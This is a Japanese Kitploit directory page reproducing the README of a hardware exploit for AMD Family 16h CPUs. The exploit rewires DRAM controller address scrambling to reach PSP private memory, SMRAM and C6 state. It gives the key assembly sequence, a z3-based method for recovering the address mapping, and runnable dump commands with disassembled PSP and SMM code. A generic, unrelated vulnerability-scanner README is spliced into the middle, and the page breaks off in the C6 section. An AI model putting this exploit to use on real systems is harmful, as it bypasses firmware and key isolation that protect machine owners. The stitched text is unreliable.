Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
skitter-creek-bath-salts — CPU 上で DRAM スクランブリングを使って _すべて_ を解き放つ | Kitploit
ツール/GitHubGitHub/xoreaxeaxeax/skitter-creek-bath-salts
脆弱性分析エクスプロイトリバースエンジニアリングハードウェアハッキングハードウェアセキュリティファームウェア解析
GitHubxoreaxeaxeax/skitter-creek-bath-salts

skitter-creek-bath-salts

CPU 上で DRAM スクランブリングを使って _すべて_ を解き放つ

リポジトリを見る
2.1k162221ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

skitter-creek-bath-salts

DRAMスクランブリングでCPU上のすべてを解錠する — PSP、C6、マイクロコード、 SMM、そして仕様書が省いたその他すべて。

&x == &x。

通常は。

DRAMのスパゲッティ化を解く

DRAMコントローラをいじれば、アドレスをメモリ内の好きな場所に着地させることができる。skitter-creek-bath-saltsはメモリ階層の最下層を改変し、物理DRAMアドレス変換を再配線する。これによりプラットフォームメモリがスクランブルされ、DRAMの保護領域 — カーネルにさえ見えないカーブアウト — が露出する。アドレス変換が壊れるとき、その上に築かれたセキュリティプリミティブも壊れ、我々はすべてを解錠する。


TL;DR

  • Platform Security Processorを解錠する
  • System Management Modeを解錠する
  • C6 DRAMを解錠する
  • CPUマイクロコードを解錠する

ターゲット

AMD Family 16h CPUで開発・テスト済み。これはデータシートがDRAMコントローラの変換レジスタを文書化した最後の世代であり、それらがロックできないことを示している。17h以降は単にこの情報を省いている。*pの長い旅路は世代やアーキテクチャを超えて類似しており、その根底にある変換はARM、RISC-V、さらにはその先にまで及ぶ。skitter-creek-bath-saltsは我々にを示す。

始め方だけ

*pの長い旅路

下りは長い道のりだ。

メモリは、ほとんど不条理に思えるほど深い抽象化の層の上に築かれている。あなたのコードが*pをデリファレンスすると、pのDRAMにアクセスしているように見える。そうではない — pは仮想アドレスであり、DRAMの1ビットに触れる前に、以下の試練を生き延びなければならない:``` ── CPU core / MMU ───────────────────────────────────────────────── ┌─ VA ← 64-bit virtual address from load/store │ └> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47 ┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE) │ └> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest) hit → physical address k │ miss → engage hardware page walker │ ┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss │ PML5[VA 56:48] ← only if CR4.LA57 │ PML4[VA 47:39] │ PDPT[VA 38:30] ← 1 GiB leaf possible │ PD [VA 29:21] ← 2 MiB leaf possible │ PT [VA 20:12] │ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G │ └> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk privilege (U/S) │ ← CPL vs PTE.U/S write (R/W) │ ← + CR0.WP execute (NX) │ ← EFER.NXE SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC protection keys │ ← PKRU (user) · IA32_PKRS (supervisor) ┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE │ └> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override ⇒ ~5× walks per single guest walk │ ┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs │ │ ── IOMMU (chipset / I/O fabric) ────────────────────────────────── │ └> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables │ ┌── physical address k <─────────────────┘ │ │ ── CPU core / MMU — memory-type resolution ──────────────────────── │ └> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs ┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ] │ └> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC } │ ── CPU uncore — caches & coherence ──────────────────────────────── │ ┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core │ └> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX ┌─ LLC probe + directory consult <────────────┘ ← shared, sliced │ └> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast intra-socket │ ← broadcast to peer cores inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache home-node directory response │ ← data | intervention | abort │ ── system data fabric / interconnect ────────────────────────────── │ ┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn │ → device BAR; done │ └> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore │ ┏━━ ── MCT / IMC (memory controller) ──────────────────────────────── W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM E ┃ │ ┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges ┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel A ┃ │ R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank ┃ │ ┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line E ┃ │ rank → CS map R ┃ │ E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only ┗━━ │ │ DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)

root@kitploit:~
このプロジェクトは `*p` パイプラインの最も深いレベル、MCT/DCT レイヤーで動作します
— そこでは、データファブリック/インターコネクトからの物理アドレスがメモリ
コントローラに入り、DIMM に発行される生の DRAM 座標へと
最後にもう一度書き換えられます。

---

## DRAM のスパゲッティ化

> 物理アドレスは、実際にはほとんど提案にすぎない。```nasm
xor dword [0xf80c2094], 0x00400000

それがエクスプロイトのすべてだ。

DRAMコントローラ内の1ビットのビットフリップが *p パイプラインの底を配線し直し、&x にあったデータはフライト中にどこか別の場所へ移る。突然 &x != &x になる。CPU、ファームウェア、uncore、チップセットが保護メモリを隔離するために使うあらゆる機構はメモリコントローラの上に位置しており、その下で何が起きているかは誰も見ていない。フェンスが守るのは物理アドレスであり、DRAM座標ではない。座標を並べ替えれば、上位のバリアは決して気づかない。

しかしDRAMの配線を変えるのは簡単だ。上のビットはDCTのbank-swizzle-modeであり、最終層でアドレスリマップを制御する数十のうちの一つにすぎない——それらをつつけば、その上に構築されたすべてが崩れ落ちる。難しいのはそのあと、システムメモリ全体がその下でスクランブルされる中でプラットフォームを動かし続けることだ。

コツはこうだ:素早く動き、DRAMに触れないこと。APを無効化し、TLBを準備し、キャッシュを温め、割り込みを無効化し、ターゲットをフラッシュし、メモリアクセスを直列化し、CPUがこれから実行する命令をプリフェッチしていることを祈る。そしてMCT/DCTを配線し直してDRAMをスパゲッティ化し、保護領域からデータを取得し、マッピングを元に戻し、再び直列化し、割り込みを有効化し、APを再開すれば、プラットフォームは正常に戻る。```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on

root@kitploit:~
ページング、キャッシュ状態、スレッディング、TLBを注意深く設定することで、アドレススクランブリングをCから動作させることができ、`*p`パイプラインの崩壊と、突然`&x != &x`になったときのプラットフォームの破損したビューを例示できます:

![&xの操作](https://assets.kitploit.com/production/public/readmes/50084/22b2cf4272f032ae40edbca7d3b830af38cceea9d667e8f4ef39457354fce3b8.gif)

これでマップを再配線し、痕跡を残さずに復元できます。あとは、何に再配線したのかを知るだけです。

---

## *すべて*を解錠する

> プラットフォーム上のすべての保護されたメモリ領域に、電卓で到達可能。

上記のアプローチにより、実行中のシステム上でMCT/DCT変換を再プログラムできます — `*p`パイプラインの最下段を再配置し、その上に構築されたすべての保護の下からメモリをスクランブルします。

しかし課題があります:単純な`xor dword [0xf80c2094], 0x00400000`で変換を再プログラムできますが、MCT/DCTがどのような新しい変換を使用するのかはわかりません(データシートはここで不十分に指定されています — xorマップはオフであり、MMIO減算ステージは順序付けされておらず、詳細はモデルによって異なります)。これがなければ、メモリはスクランブルされますが、それを再構築する方法がありません。

幸いなことに、DRAMコントローラのアドレス変換はGF(2)線形写像であるため、基本的な線形代数でスクランブルされたメモリを再構築できます。

まず、通常のケースを考えます:デフォルトのMCT/DCT構成の順方向変換が何らかの物理アドレスに適用され、DRAM内の秘密の場所に到達します:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 1 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
                M_firmware               target     secret

これはメモリのコヒーレントな見方である。*p パイプラインの最下段は、まさに期待通りに動作している。

ここで *p の MCT/DCT 段を xor dword [0xf80c2094], 0x00400000 で再配線すると、プラットフォームはスクランブル化/スパゲッティ化されたメモリの見方に入り、そこでは別の変換によってエイリアスが同じ DRAM の秘密に到達できるようになる。``` ┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker alias secret

root@kitploit:~
このエイリアスにより、コヒーレントビュー用に構築された既存のプラットフォームロックと防御に触れることなく、同じシークレットに到達できます。エイリアスを見つけるには、攻撃/スパゲッティ化ハッシュの逆とファームウェア/コヒーレントハッシュの順方向を合成して、悪意のある MCT/DCT 構成から任意のシークレットに到達する変換を取得します:```
    ┌                                 ┐   ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └                                 ┘   └   ┘     └   ┘
               M_attacker⁻¹                              M_firmware             target    alias

唯一の課題は、行列が未知であることです。つまり、メモリが実際にどのようにスクランブルされているのかまったく分からず、そもそも秘密に到達するために使用できる変換も存在しません:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias

root@kitploit:~
幸いなことに、この時点では単なる線形代数であり、必要なら変換を手計算で解くこともできる。あるいは電卓を使ってもよい。

我々は [z3](https://github.com/z3prover/z3) を使用する。まず、SMT ソルバーが扱うための制約が必要である。

コヒーレントビューから開始し、MCT/DCT を変更してスパゲッティ化ビューに切り替え、`0xdeadc0de` のようなセンチネル値をメモリ内のランダムなアドレスに書き込み、コヒーレントビューに戻し、センチネルが再出現する場所をメモリ上でスイープする。これにより (target, alias) ペアが得られる — DRAM 内の同じセルにマップされる 2 つの物理アドレスを示す具体的なデータポイントである。このプロセスを繰り返し、いくつかのデータを集め、それを z3 に渡すと、2 つのビュー間の変換に必要な変換行列を解いてくれる — 一方のコヒーレントビューの物理アドレスと、もう一方のスパゲッティ化ビューのエイリアスを対応付けるものである:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
         M_attacker⁻¹ ∘ M_firmware        target    alias

エイリアスペアをz3に1つずつ投入することで、SMTソルバーがメモリスキャンブリングをリアルタイムで解読する様子を観察できます。これは冒頭の画像に示されているとおりです。

解かれた変換はロゼッタストーンです。コヒーレントビュー内の任意のターゲットアドレスは、スパゲッティ化ビューで同じDRAMに到達するエイリアスにマッピングされます。保護されたメモリに到達するには、通常は触れないアドレス — PSPプライベートメモリ、SMRAM、C6アイドル状態 — を取り、それを変換に通してエイリアスを得ます。次にxor dword [0xf80c2094], 0x00400000でDCTを再配線し、エイリアスを読み書きし、2回目のxorで元に戻します。*pパイプラインを通るエイリアスの経路は、プラットフォームがコヒーレントビュー用に構築したフェンスに決して引っかかりません — DRAM内のあらゆるものへの無制限アクセスです。

DRAMのロック解除

最終的に、それほど注意深く隔離されたものすべて — PSPプライベートメモリ、SMRAM、C6アイドル状態、OSからアクセス不能、ring-0、時にはCPU自体からも — は、依然として同じDRAMコンデンサ上に存在しています。しかし、ロックはメモリのコヒーレントビューを中心に構築されており、同じセルに到達するスパゲッティ化エイリアスに対しては何の効果もありません。

*pパイプラインの最終レベルで1ビットを反転させれば、すべてのロックが解除されます。


クイックスタート: Platform Security Processorのロックを解除する

PSPを改ざんして、何が起こるか見てみましょう。

fTPMはPSP自身のARMコア上で、可視トップオブメモリのすぐ先にあるDRAMカーブアウト内で動作しています。OSから見える物理アドレスをそこにエイリアシングすることで到達し、バイトを引き出して逆アセンブルします。```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /

0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix

matches your DIMMs; one --map per saved map.

eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin

The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp

(0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.

objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin

root@kitploit:~
(no content provided)```armasm
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4:  b5f0       push  {r4, r5, r6, r7, lr}
7f8019d6:  b0e5       sub   sp, #404
7f8019de:  2280       movs  r2, #128                  ; 1024-bit operand
7f8019e4:  f7fe ffef  bl    0x7f8009c6                ; import base (aA)
7f8019ee:  a0eb       adr   r0, 0x7f801d9c            ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8:  f7fe ffe5  bl    0x7f8009c6                ; import exponent (aB)
7f801a02:  a0f0       adr   r0, 0x7f801dc4            ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18:  f000 fdd4  bl    0x7f8025c4                ; the modexp itself
7f801a20:  a0f2       adr   r0, 0x7f801dec            ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22:  f000 fef5  bl    0x7f802810                ; log error
7f801a2e:  f001 e92a  blx   0x7f802c84                ; export result
7f801a36:  bdf0       pop   {r4, r5, r6, r7, pc}

それがPSPのRSAエンジンだ — すべてのfTPM署名の背後にあるmodexpであり、その鍵を生成するMiller-Rabinテストの背後にあるものでもある。PSPが単独で所有すべきメモリから取り出され、メモリコントローラで隔離され、ring-0からさえも不透明だ。好きなように変更してよい。


クイックスタート: System Management Modeをアンロックする

SMMが隠しているものを読む。

SMIハンドラのエントリベクタは SMBASE + 0x8000 にある。SMBASE はMSR 0xc0010111 にある。それを読み、エイリアスマップを通してバイト列を取得し、そのままディスアセンブラに流し込む:```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

sudo modprobe msr

SMBASE is per-core; core 0's lives in MSR 0xc0010111.

SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 ))

Dump the entry vector through the alias map and disassemble on the fly.

SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;

printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.

sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -

root@kitploit:~
## 主な機能

- **自動スキャン**: 指定されたディレクトリを自動的にスキャンし、脆弱な依存関係を検出します。
- **詳細なレポート**: 検出された脆弱性の詳細なレポートを生成します。
- **CI/CD 統合**: 継続的インテグレーションパイプラインに簡単に統合できます。
- **カスタマイズ可能**: 特定のニーズに合わせてスキャン設定をカスタマイズできます。

## インストール

```bash
git clone https://github.com/example/vulnerability-scanner.git
cd vulnerability-scanner
pip install -r requirements.txt

使用方法

スキャナを実行するには、次のコマンドを使用します:

root@kitploit:~
python scanner.py --path /path/to/project

オプション

オプション説明
--pathスキャンするプロジェクトのパス
--outputレポートの出力ファイル
--formatレポートの形式 (json, html, csv)
--severity最低重大度レベル (low, medium, high, critical)

設定

設定ファイル config.yaml を作成して、スキャナの動作をカスタマイズできます:

root@kitploit:~
scan:
  exclude:
    - node_modules
    - vendor
  severity_threshold: medium
report:
  format: html
  output: report.html

出力例

root@kitploit:~
[+] Scanning project...
[+] Found 3 vulnerabilities:
    - CVE-2023-1234 (High) in [email protected]
    - CVE-2023-5678 (Medium) in [email protected]
    - CVE-2023-9012 (Low) in [email protected]
[+] Report saved to report.html

貢献

貢献を歓迎します! プルリクエストを送信する前に、貢献ガイドラインをお読みください。

ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています - 詳細については LICENSE ファイルを参照してください。```nasm ; SMI entry stub — the first thing a core executes when entering the ; ultra-privileged System Management Mode. mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; flip the core into protected mode jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch mov ax,0x18 ; GDT selector 0x18 -> flat data segment mov ss,ax ; reload SS for protected mode mov eax,0x6efe2ff8 ; SMM stack top mov esp,eax ; install the SMM stack o32 push byte +0x10 ; far-return frame: CS = code selector 0x10 mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = this core's SMBASE mov ebx,eax ; stash SMBASE add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry push eax ; far-return frame: EIP = SMBASE+0x803a retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper

root@kitploit:~
これらの命令はリング -2 で実行される。これは CPU 上で最も特権的なコンテキストであり、チップセットが読み取り不能にするはずのメモリ上にある。DRAM コントローラに直接アクセスできるとなれば、SMRAM の「ロック」は結局のところ丁寧な提案に過ぎないことがわかる。

`2x4gb` を、インストールされている DIMM に一致する `data/maps/` 内の任意のプレフィックスに置き換える(`sudo dmidecode -t memory`)。自分のトポロジーがそこにない場合は、`analysis/gather_aliases.py` を実行してから `analysis/unspaghettify.py` を実行し、自分用に生成する。

---

## クイックスタート: C6 DRAM のロック解除

> *ここに何があるのか全く見当がつかず、議論されているのも見たことがない。おそらく CPU 内部レジスタだろう。楽しんでほしい。*

コアが C6 にパワーゲートすると、各コアの完全な x86 アーキテクチャコンテキストが復元用にここに退避される。```sh
./userspace/platform_check || exit 1

# Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the
# test box). Each idle core's state lives in a 16 KiB save area; four cores
